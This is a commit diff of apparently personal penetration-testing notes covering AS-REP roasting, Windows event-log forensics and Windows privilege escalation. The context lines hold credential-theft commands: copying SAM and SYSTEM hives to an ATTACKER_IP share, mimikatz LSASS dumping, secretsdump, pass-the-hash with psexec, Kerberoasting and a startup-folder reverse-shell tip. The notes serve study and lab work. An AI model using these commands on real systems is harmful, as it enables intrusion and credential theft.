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gurkenhabicht 2026-04-03 21:56:33 +02:00
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8
Enumeration/AS-REP Roasting.md
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@ -1,4 +1,10 @@
# AS-Rep Roating
# AS-Rep Roasting
AS-REP Roasting targets account for which preauthentication is disabled.
This means `DONT_REQUIRE_PREAUTH` for an account is enabled, and the DC skips
the verification step. After event type `4768` the `Pre_Authentication_Type=0`
and event code `4769` and `4624` is never triggered.
A service can be requested without any password check.
AS-Rep Roasting dumps user accounts which did not enable pre-authentication.
This is somewhat similar to Kerberoasting but includes user accounts as well.

1
Forensics/Windows Event Logs.md
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@ -27,6 +27,7 @@ Get-WinEvent -FilterHashTable @{LogName='<Category>';ID='<Event IDs>'} | fl
* **1**: Process Creation (Applications & Services -> Microsoft -> Windows ->
Sysmon -> Operational)
* **10**: ProcessAccess, Sysmon event where one process opens a handle to another process
* **4688**: Process Creation (Windows Logs -> Security)
### Files

26
Post Exploitation/Windows/Windows PrivEsc.md
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@ -145,7 +145,7 @@ sc start TheService
### Startup Application
* Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`
* Put reverse shell instead of an executable inside `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup`
### Password Mining
@ -184,7 +184,7 @@ C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
```
### Putty
### Putty
* Saved proxy password credentials may be found via
```sh
@ -294,7 +294,7 @@ secretsdump.py -sam sam.hive -system system.hive LOCAL
hashdump
```
* Use pass the hash to login
* Use pass the hash to login
```sh
psexec.py -hashes <hash> administrator@$TARGET_IP
```
@ -314,7 +314,7 @@ copy cmd.exe utilman.exe
* It is a rouge potato
* Execute process as another user
* Service accounts operate through impersonation
* Check privileges via `whoami /priv` for these
* Check privileges via `whoami /priv` for these
* __Object Exporter Identifier (OXID)__ is executed as via DCOM as a resolver on port 135 to socket of attacker
```sh
socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
@ -324,12 +324,14 @@ socat tcp-listen:135 reuseaddr,fork tcp:$TARGET_IP:1234
### Volume Shadow Copy Service
* Take a look at the volumes at
Take a look at the volumes at
```sh
vssadmin list shadows
```
* Copy `sam` and `system` from the shadow copy
Copy `sam` and `system` from the shadow copy
```sh
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam \\ATTACKER_IP\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system \\ATTACKER_IP\
@ -337,10 +339,14 @@ copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sys
### Dump LSASS
* If administrator permissions are gained, a dump file can be created by opening the task manager and right clicking `lsass.exe` -> `creat dumpfile`
LSASS contains multiple different credential types like NTLM password hashes,
active krb session tickets, plaintext passwords and cached domain credentials.
* If administrator permissions are gained, a dump file can be created by opening the task manager and right-clicking `lsass.exe` -> `creat dumpfile`
* Use `procdump.exe` from sysinternal suite as an alternative to `tskmgr.exe`
* Extract the dump via mimikatz
```sh
privilege::debug
sekurlsa::logonpasswords
@ -387,7 +393,7 @@ sekurlsa::credman
### Ntdsutil
* If administrative permissions on the DC have been gained this can be done
* Used to maintain the AD database, delete objects, snapshotting, set Directory Service Restore Mode (DSRM)
* Used to maintain the AD database, delete objects, snapshotting, set Directory Service Restore Mode (DSRM)
#### Locally extracting ntds.dit
@ -411,7 +417,7 @@ secretsdump.py -security ./SECURITY -system ./SYSTEM -ntds ./ntds.dit local
#### Remotely dumping ntds
* Needs the following AD credentials
* Needs the following AD credentials
* Replicating Directory Changes
* Replicating Directory Changes All
* Replicating Directory Changes in Filtered Set
@ -469,7 +475,7 @@ net user <GroupMemberUsername>
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user>
```
* Take a look at `Name` in the output and use it to query a TGS ticket
* Take a look at `Name` in the output and use it to query a TGS ticket
```sh
GetUserSPNs.py -dc-ip $DC_IP <domain>/<user> -request-user <SPN>
```